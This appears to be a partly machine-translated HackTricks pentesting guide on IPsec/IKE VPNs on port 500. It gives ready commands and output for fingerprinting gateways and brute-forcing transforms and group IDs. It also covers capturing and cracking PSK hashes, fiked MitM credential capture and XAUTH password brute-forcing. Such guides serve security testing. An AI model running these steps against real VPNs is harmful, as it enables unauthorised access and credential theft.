# 500/udp - IPsec/IKE VPN 펜테스팅 {% hint style="success" %} AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} {% endhint %} ## 기본 정보 **IPsec**은 네트워크 간(LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 연결하는 통신을 보호하는 주요 기술로 널리 인식되며, 기업 VPN 솔루션의 중추 역할을 합니다. 두 지점 간의 **보안 협정(SA)** 수립은 **IKE**에 의해 관리되며, 이는 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범위 내에서 작동합니다. 이 과정은 여러 단계로 진행됩니다: * **1단계:** 두 엔드포인트 간에 안전한 채널이 생성됩니다. 이는 사전 공유 키(PSK) 또는 인증서를 사용하여 이루어지며, 세 쌍의 메시지를 포함하는 메인 모드 또는 **공격 모드**를 사용합니다. * **1.5단계:** 필수는 아니지만, 확장 인증 단계로 알려진 이 단계는 사용자 이름과 비밀번호를 요구하여 연결을 시도하는 사용자의 신원을 확인합니다. * **2단계:** 이 단계는 **ESP** 및 **AH**를 사용하여 데이터를 보호하기 위한 매개변수를 협상하는 데 전념합니다. 이는 **완벽한 전방 비밀성(PFS)**을 보장하기 위해 1단계와 다른 알고리즘을 사용할 수 있게 하여 보안을 강화합니다. **기본 포트:** 500/udp ## **nmap**을 사용하여 서비스 발견하기 ``` root@bt:~# nmap -sU -p 500 172.16.21.200 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Nmap scan report for 172.16.21.200 Host is up (0.00036s latency). PORT STATE SERVICE 500/udp open isakmp MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **유효한 변환 찾기** IPSec 구성은 하나 또는 몇 가지 변환만 수락하도록 준비될 수 있습니다. 변환은 값의 조합입니다. **각 변환**은 DES 또는 3DES와 같은 **암호화 알고리즘**, SHA 또는 MD5와 같은 **무결성 알고리즘**, 사전 공유 키와 같은 **인증 유형**, Diffie-Hellman 1 또는 2와 같은 키 **배포 알고리즘**, 그리고 28800초와 같은 **수명**을 포함하는 여러 속성을 포함합니다. 따라서 서버가 당신과 통신할 수 있도록 **유효한 변환을 찾는 것**이 첫 번째 작업입니다. 이를 위해 **ike-scan** 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며, ISAKMP 헤더와 **여덟 개의 변환이 포함된** 단일 제안으로 게이트웨이에 패킷을 전송합니다. 응답에 따라 엔드포인트에 대한 일부 정보를 얻을 수 있습니다: ``` root@bt:~# ike-scan -M 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=d90bf054d6b76401) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key (and this is really good for a pentester).\ **The value of the last line is also very important:** * _0 returned handshake; 0 returned notify:_ 이것은 대상이 **IPsec 게이트웨이가 아님**을 의미합니다. * _**1 returned handshake; 0 returned notify:**_ 이것은 **대상이 IPsec에 대해 구성되어 있으며 IKE 협상을 수행할 의사가 있으며, 제안한 변환 중 하나 이상이 허용됨**을 의미합니다 (유효한 변환은 출력에 표시됩니다). * _0 returned handshake; 1 returned notify:_ VPN 게이트웨이는 **허용 가능한 변환이 없을 때** 알림 메시지로 응답합니다 (일부 게이트웨이는 그렇지 않으며, 이 경우 추가 분석과 수정된 제안이 필요합니다). Then, in this case we already have a valid transformation but if you are in the 3rd case, then you need to **brute-force a little bit to find a valid transformation:** First of all you need to create all the possible transformations: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` 그리고 각 항목을 ike-scan을 사용하여 무차별 대입 공격을 수행합니다(이 과정은 몇 분이 걸릴 수 있습니다): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` 만약 brute-force가 작동하지 않는다면, 서버가 유효한 변환에 대해서도 핸드셰이크 없이 응답하고 있을 수 있습니다. 그럼, 공격 모드를 사용하여 같은 brute-force를 시도해 볼 수 있습니다: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` 희망적으로 **유효한 변환이 에코백됩니다**.\ [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)를 사용하여 **같은 공격**을 시도할 수 있습니다.\ [**ikeforce**](https://github.com/SpiderLabs/ikeforce)를 사용하여 변환을 무작위로 시도해 볼 수도 있습니다: ```bash ./ikeforce.py # No parameters are required for scan -h for additional help ``` ![](<../.gitbook/assets/image (617).png>) **DH 그룹: 14 = 2048비트 MODP** 및 **15 = 3072비트**\ **2 = HMAC-SHA = SHA1 (이 경우). `--trans` 형식은 $Enc,$Hash,$Auth,$DH**입니다. Cisco는 DH 그룹 1과 2는 충분히 강력하지 않기 때문에 사용을 피하라고 권장합니다. 전문가들은 **자원이 많은 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호를 쉽게 해독할 수 있다고 믿습니다.** 이는 그들이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용하여 이루어집니다. 이 방법을 설정하는 데 많은 비용이 들지만, 이러한 강력한 국가들은 약한 그룹(예: 1,024비트 이하)을 사용하는 경우 암호화된 데이터를 실시간으로 읽을 수 있습니다. ### 서버 지문 인식 그런 다음, ike-scan을 사용하여 **장치의 공급업체를 발견**하려고 시도할 수 있습니다. 이 도구는 초기 제안을 보내고 재전송을 중지합니다. 그런 다음, 수신된 **메시지**와 일치하는 응답 패턴 간의 **시간** 차이를 **분석**하여, 펜테스터는 VPN 게이트웨이 공급업체를 성공적으로 지문 인식할 수 있습니다. 게다가, 일부 VPN 서버는 IKE와 함께 선택적 **공급업체 ID (VID) 페이로드**를 사용할 것입니다. **필요한 경우 유효한 변환을 지정하십시오** (using --trans) IKE가 공급업체를 발견하면 이를 출력합니다: ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=4f3ec84731e2214a) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) IKE Backoff Patterns: IP Address No. Recv time Delta Time 172.16.21.200 1 1322286031.744904 0.000000 172.16.21.200 2 1322286039.745081 8.000177 172.16.21.200 3 1322286047.745989 8.000908 172.16.21.200 4 1322286055.746972 8.000983 172.16.21.200 Implementation guess: Cisco VPN Concentrator Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify ``` This can be also achieve with nmap script _**ike-version**_ ## 올바른 ID (그룹 이름) 찾기 해시를 캡처하려면 공격 모드를 지원하는 유효한 변환과 올바른 ID (그룹 이름)가 필요합니다. 유효한 그룹 이름을 모를 가능성이 높으므로 이를 무작위로 시도해야 합니다.\ 이를 위해 두 가지 방법을 추천합니다: ### ike-scan으로 ID 무작위 대입 먼저, 해시를 수집하기 위해 가짜 ID로 요청을 시도해 보십시오 ("-P"): ```bash ike-scan -P -M -A -n fakeID ``` If **no hash is returned**, then probably this method of brute forcing will work. **If some hash is returned, this means that a fake hash is going to be sent back for a fake ID, so this method won't be reliable** to brute-force the ID. For example, a fake hash could be returned (this happens in modern versions): ![](<../.gitbook/assets/image (917).png>) 하지만 제가 말했듯이, 해시가 반환되지 않으면, ike-scan을 사용하여 일반 그룹 이름을 브루트 포스해 보아야 합니다. 이 스크립트는 **가능한 ID를 브루트 포스하려고 시도**하며, 유효한 핸드셰이크가 반환되는 ID를 반환합니다(이것이 유효한 그룹 이름이 됩니다). 특정 변환을 발견했다면 ike-scan 명령에 추가하십시오. 여러 변환을 발견했다면 모두 시도할 수 있도록 새로운 루프를 추가하십시오(작동하는 것이 나올 때까지 모두 시도해야 합니다). 브루트 포스하기 위해 일반 그룹 이름의 [ikeforce 사전](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) 또는 [seclists의 사전](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)을 사용할 수 있습니다: ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` Or use this dict (is a combination of the other 2 dicts without repetitions): {% file src="../.gitbook/assets/vpnIDs.txt" %} ### Iker로 ID 브루트포스 [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 또한 **ike-scan**을 사용하여 가능한 그룹 이름을 브루트포스합니다. 이 도구는 **ike-scan의 출력에 기반하여 유효한 ID를 찾는** 자체 방법을 따릅니다. ### ikeforce로 ID 브루트포스 [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce)는 **ID를 브루트포스하는 데 사용할 수 있는 도구**입니다. 이 도구는 **유효한 ID와 비유효한 ID를 구별하는 데 사용할 수 있는 다양한 취약점을 악용하려고 시도합니다** (거짓 긍정 및 거짓 부정이 발생할 수 있으므로 가능하면 ike-scan 방법을 사용하는 것을 선호합니다). 기본적으로 **ikeforce**는 서버의 동작을 확인하고 사용할 전술을 결정하기 위해 처음에 몇 개의 무작위 ID를 보냅니다. * **첫 번째 방법**은 **Dead Peer Detection DPD**에 대한 정보를 **검색**하여 그룹 이름을 브루트포스하는 것입니다 (이 정보는 그룹 이름이 올바른 경우에만 서버에 의해 재생됩니다). * **두 번째 방법**은 **각 시도에 대해 전송된 응답 수를 확인하는** 것입니다. 때때로 올바른 ID가 사용될 때 더 많은 패킷이 전송됩니다. * **세 번째 방법**은 **잘못된 ID에 대한 응답에서 "INVALID-ID-INFORMATION"을 검색하는** 것입니다. * 마지막으로, 서버가 체크에 대해 아무것도 재생하지 않으면, **ikeforce**는 서버를 브루트포스하여 올바른 ID가 전송될 때 서버가 패킷으로 응답하는지 확인합니다.\ 명백히, ID를 브루트포스하는 목표는 유효한 ID를 가질 때 **PSK**를 얻는 것입니다. 그런 다음, **ID**와 **PSK**로 XAUTH를 브루트포스해야 합니다 (XAUTH가 활성화된 경우). 특정 변환을 발견한 경우 ikeforce 명령에 추가하십시오. 여러 변환을 발견한 경우 모두 시도할 수 있도록 새로운 루프를 추가해도 좋습니다 (작동하는 변환이 나올 때까지 모두 시도해야 합니다). ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ``` ```bash ./ikeforce.py -e -w ./wordlists/groupnames.dic ``` ### Sniffing ID (From the book **Network Security Assessment: Know Your Network**): VPN 클라이언트와 서버 간의 연결을 스니핑하여 유효한 사용자 이름을 얻는 것도 가능합니다. 클라이언트 ID를 포함하는 첫 번째 공격 모드 패킷이 평문으로 전송되기 때문입니다. ![](<../.gitbook/assets/image (891).png>) ## Capturing & cracking the hash 마지막으로, **유효한 변환**과 **그룹 이름**을 찾았고 **공격 모드가 허용된다면**, 크랙 가능한 해시를 매우 쉽게 가져올 수 있습니다: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` 해시는 _hash.txt_ 안에 저장됩니다. **psk-crack**, **john** ([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) 사용) 및 **hashcat**을 사용하여 해시를 **크랙**할 수 있습니다: ```bash psk-crack -d psk.txt ``` ## **XAuth** **공격 모드 IKE**는 **사전 공유 키(PSK)**와 결합되어 **그룹 인증** 목적으로 일반적으로 사용됩니다. 이 방법은 **XAuth (확장 인증)**에 의해 보강되어 추가적인 **사용자 인증** 계층을 도입합니다. 이러한 인증은 일반적으로 **Microsoft Active Directory**, **RADIUS** 또는 유사한 시스템과 같은 서비스를 활용합니다. **IKEv2**로 전환하면서 **EAP (확장 인증 프로토콜)**이 사용자 인증을 위해 **XAuth** 대신 사용되는 주목할 만한 변화가 관찰됩니다. 이 변화는 보안 통신 프로토콜 내에서 인증 관행의 진화를 강조합니다. ### 로컬 네트워크 MitM을 통한 자격 증명 캡처 따라서 _fiked_를 사용하여 로그인 데이터를 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다(스니핑을 위해 IKE 트래픽을 `fiked`로 리디렉션해야 하며, 이는 ARP 스푸핑의 도움으로 수행할 수 있습니다, [자세한 정보](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked는 VPN 엔드포인트로 작동하며 XAuth 자격 증명을 캡처합니다: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` 또한, IPSec을 사용하여 MitM 공격을 시도하고 포트 500으로의 모든 트래픽을 차단하십시오. IPSec 터널을 설정할 수 없는 경우 트래픽이 평문으로 전송될 수 있습니다. ### ikeforce로 XAUTH 사용자 이름 및 비밀번호 무차별 대입 유효한 그룹 이름 **id**와 **psk**를 알고 있을 때 **XAUTH**를 무차별 대입하려면 사용자 이름 또는 사용자 이름 목록과 비밀번호 목록을 사용할 수 있습니다: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` 이렇게 하면 ikeforce는 각 username:password 조합을 사용하여 연결을 시도합니다. 하나 이상의 유효한 변환을 찾았다면 이전 단계와 같이 사용하면 됩니다. ## IPSEC VPN 인증 Kali에서는 **VPNC**를 사용하여 IPsec 터널을 설정합니다. **프로파일**은 디렉토리 `/etc/vpnc/`에 위치해야 합니다. 이 프로파일은 명령 _**vpnc**_를 사용하여 시작할 수 있습니다. 다음 명령 및 구성은 VPNC로 VPN 연결을 설정하는 과정을 설명합니다: ```bash root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP IPSec gateway [VPN_GATEWAY_IP] IPSec ID [VPN_CONNECTION_ID] IPSec secret [VPN_GROUP_SECRET] IKE Authmode psk Xauth username [VPN_USERNAME] Xauth password [VPN_PASSWORD] STOP root@system:~# vpnc samplevpn VPNC started in background (pid: [PID])... root@system:~# ifconfig tun0 ``` In this setup: * `[VPN_GATEWAY_IP]`를 VPN 게이트웨이의 실제 IP 주소로 교체합니다. * `[VPN_CONNECTION_ID]`를 VPN 연결의 식별자로 교체합니다. * `[VPN_GROUP_SECRET]`를 VPN의 그룹 비밀로 교체합니다. * `[VPN_USERNAME]` 및 `[VPN_PASSWORD]`를 VPN 인증 자격 증명으로 교체합니다. * `[PID]`는 `vpnc`가 시작될 때 할당될 프로세스 ID를 나타냅니다. VPN을 구성할 때 자리 표시자를 실제 안전한 값으로 교체해야 합니다. ## Reference Material * [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf) * Network Security Assessment 3rd Edition ## Shodan * `port:500 IKE` {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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